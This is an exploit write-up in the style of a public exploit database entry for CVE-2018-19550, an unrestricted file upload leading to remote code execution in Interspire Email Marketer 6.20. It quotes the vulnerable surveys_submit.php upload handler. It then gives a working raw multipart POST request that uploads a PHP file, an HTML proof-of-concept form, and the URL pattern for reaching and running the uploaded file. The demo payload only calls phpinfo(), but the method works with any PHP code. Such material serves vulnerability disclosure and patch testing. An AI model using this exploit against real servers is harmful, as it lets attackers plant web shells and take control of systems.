96 lines
No EOL
3.6 KiB
Text
96 lines
No EOL
3.6 KiB
Text
# Exploit Title: Interspire Email Marketer 6.20 - Remote Code Execution
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# Date: May 2019
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# Exploit Author: Numan Türle
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# Vendor Homepage: https://www.interspire.com
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# Software Link: https://www.interspire.com/emailmarketer
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# Version: 6.20<
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# Tested on: windows
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# CVE : CVE-2018-19550
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# https://medium.com/@numanturle/interspire-email-marketer-6-20-exp-remote-code-execution-via-uplaod-files-27ef002ad813
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surveys_submit.php
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if (isset($_FILES['widget']['name'])) {
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$files = $_FILES['widget']['name'];
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foreach ($files as $widgetId => $widget) {
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foreach ($widget as $widgetKey => $fields) {
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foreach ($fields as $fieldId => $field) {
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// gather file information
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$name = $_FILES['widget']['name'][$widgetId]['field'][$fieldId]['value'];
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$type = $_FILES['widget']['type'][$widgetId]['field'][$fieldId]['value'];
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$tmpName = $_FILES['widget']['tmp_name'][$widgetId]['field'][$fieldId]['value'];
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$error = $_FILES['widget']['error'][$widgetId]['field'][$fieldId]['value'];
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$size = $_FILES['widget']['size'][$widgetId]['field'][$fieldId]['value'];
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// if the upload was successful to the temporary folder, move it
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if ($error == UPLOAD_ERR_OK) {
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$tempdir = TEMP_DIRECTORY;
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$upBaseDir = $tempdir . DIRECTORY_SEPARATOR . 'surveys';
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$upSurveyDir = $upBaseDir . DIRECTORY_SEPARATOR . $formId;
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$upDir = $upSurveyDir . DIRECTORY_SEPARATOR . $response->GetId();
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// if the base upload directory doesn't exist create it
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if (!is_dir($upBaseDir)) {
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mkdir($upBaseDir, 0755);
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}
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if (!is_dir($upSurveyDir)) {
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mkdir($upSurveyDir, 0755);
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}
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// if the upload directory doesn't exist create it
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if (!is_dir($upDir)) {
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mkdir($upDir, 0755);
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}
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// upload the file
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move_uploaded_file($tmpName, $upDir . DIRECTORY_SEPARATOR . $name);
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}
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}
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}
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}
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}
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input file name : widget[0][field][][value]
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submit : surveys_submit.php?formId=1337
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POST /iem/surveys_submit.php?formId=1337 HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF2dckZgrcE306kH2
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Content-Length: 340
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------WebKitFormBoundaryF2dckZgrcE306kH2
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Content-Disposition: form-data; name="widget[0][field][][value]"; filename="info.php"
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Content-Type: application/octet-stream
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<?php
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phpinfo();
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?>
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------WebKitFormBoundaryF2dckZgrcE306kH2
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Content-Disposition: form-data; name="submit"
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Submit
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------WebKitFormBoundaryF2dckZgrcE306kH2-
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####
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POC
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<!DOCTYPE HTML>
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<html lang="en-US">
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<head>
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<meta charset="UTF-8">
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<title></title>
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</head>
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<body>
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<form action="http://WEBSITE/surveys_submit.php?formId=1337" method="post" enctype="multipart/form-data">
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<input type="file" name="widget[0][field][][value]">
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<input type="submit" value="submit" name="submit">
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</form>
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</body>
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</html>
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URL : http://{{IEM LINK}}/admin/temp/surveys/1337/{{FUZZING NUMBER}}/{{FILENAME}} |